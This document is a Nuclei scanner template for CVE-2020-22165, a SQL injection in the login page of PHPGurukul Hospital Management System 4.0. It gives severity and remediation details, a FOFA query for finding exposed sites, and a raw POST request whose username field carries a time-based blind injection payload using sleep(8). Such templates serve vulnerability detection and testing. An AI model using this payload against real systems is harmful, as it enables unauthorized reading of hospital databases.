CVE-2020-22165: PHPGurukul Hospital Management System 4.0 - SQL Injection

id: CVE-2020-22165

info:
  name: PHPGurukul Hospital Management System 4.0 - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \hms\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.
  impact: |
    Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.
  remediation: |
    Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.
  reference:
    - https://github.com/itodaro/PHPGurukul_Hospital_Management_System4.0_cve
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-22165
    epss-score: 0.31486
    epss-percentile: 0.9657
    cwe-id: CWE-89
    cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: phpgurukul
    product: hospital_management_system
    fofa-query: title="Hospital Management System" && body="HMS"
  tags: cve2020,cve,hms,cms,sqli,phpgurukul,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        @timeout: 30s
        POST /hms/user-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Hospital Management")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /hms/user-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=a' and 1=2 union select 1,2,if(substring((select user() limit 0,1),1,1)='r',sleep(8),1),4,5,6,7,8,9#&password=asfsafafsafsaf&submit=1&submit=

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=8'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220389570e10898ddf755e1e71cddf01d45aeca255eeabd632e5899240d5402a4d00220568bfd8b9f402d1adb8f1fb176cc20b3d59feb0e5b2cb76504dc56e4b9a2ed64:922c64590222798bb761d5b6d8e72950